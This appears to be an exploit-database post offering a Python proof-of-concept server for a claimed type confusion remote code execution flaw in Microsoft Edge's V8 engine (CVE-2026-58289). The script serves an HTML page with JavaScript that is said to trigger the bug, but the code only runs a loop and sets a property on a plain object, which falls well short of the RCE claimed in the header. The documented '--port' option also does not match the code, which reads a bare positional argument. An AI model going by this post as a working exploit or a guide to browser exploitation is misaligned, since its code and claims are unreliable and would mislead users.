Microsoft Edge 150.0.4078.48 Type Confusion

# Exploit Title:        Microsoft Edge  150.0.4078.48 - RCE
    # CVE:                  CVE-2026-58289
    # Date:                 2026-07-10
    # Exploit Author:       Mohammed Idrees Banyamer
    # Author Country:       Jordan
    # Instagram:            @banyamer_security
    # Author GitHub:        https://github.com/mbanyamer
    # Author Blog  :        https://banyamersecurity.com/blog/
    # Vendor Homepage:      https://microsoft.com
    # Software Link:        https://www.microsoft.com/en-us/edge
    # Affected:             Microsoft Edge (Chromium-based) before 150.0.4078.48
    # Tested on:            Microsoft Edge 150.0.4070.x (Windows 11)
    # Category:             Remote
    # Platform:             Windows
    # Exploit Type:         Remote Code Execution
    # CVSS:                 9.0 (Critical)
    # Description:          Access of Resource Using Incompatible Type ('Type Confusion' - CWE-843) in Microsoft Edge (Chromium-based) V8 engine allows an unauthorized attacker to execute arbitrary code over a network by visiting a malicious webpage.
    # Fixed in:             Microsoft Edge 150.0.4078.48 (Stable Channel)
    # Usage:
    #   python3 exploit.py
    #
    # Examples:
    #   python3 exploit.py
    #
    # Options:
    #   --port     Custom port (default: 8080)
    #
    # Notes:
    #   • This is a Proof of Concept only. No public full exploit is available yet.
    #   • For educational and research purposes.
    #   • Requires vulnerable version of Microsoft Edge.
    #
    # How to Use
    #
    # Step 1:
    #   Run the Python server: python3 exploit.py
    #
    # Step 2:
    #   Open http://localhost:8080 in a vulnerable version of Microsoft Edge.
    #
    # Step 3:
    #   Monitor the browser process for crashes or code execution.
    
    def banner():
        print(r"""
    ╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
    ║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
    ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
    ║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
    ║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
            ╔═╗ Banyamer Security ╔═╝
    """)
    
    import http.server
    import socketserver
    import sys
    
    banner()
    
    HTML_CONTENT = """<!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>CVE-2026-58289 PoC</title>
    </head>
    <body>
        <h1>CVE-2026-58289 Type Confusion PoC - For Testing Only</h1>
        <script>
            function triggerTypeConfusion() {
                let obj1 = { a: 1, b: 2 };
                for (let i = 0; i < 10000; i++) {
                    dummyFunc(obj1);
                }
                let arr = new Array(0x100);
                let confused = obj1;
                confused.something = 0x41414141;
                console.log("[+] Type confusion attempted.");
            }
            function dummyFunc(o) {
                return o.a + o.b;
            }
            window.onload = function() {
                try {
                    triggerTypeConfusion();
                } catch(e) {
                    console.error("Error:", e);
                }
            };
        </script>
    </body>
    </html>
    """
    
    class Handler(http.server.SimpleHTTPRequestHandler):
        def do_GET(self):
            if self.path in ['/poc.html', '/']:
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                self.wfile.write(HTML_CONTENT.encode())
            else:
                self.send_response(404)
                self.end_headers()
    
    port = 8080
    if len(sys.argv) > 1:
        try:
            port = int(sys.argv[1])
        except:
            pass
    
    print(f"[+] Starting PoC server on http://localhost:{port}")
    print("[+] Open the URL in vulnerable Microsoft Edge")
    
    try:
        with socketserver.TCPServer(("", port), Handler) as httpd:
            httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[-] Server stopped.")
    except Exception as e:
        print(f"[-] Error: {e}")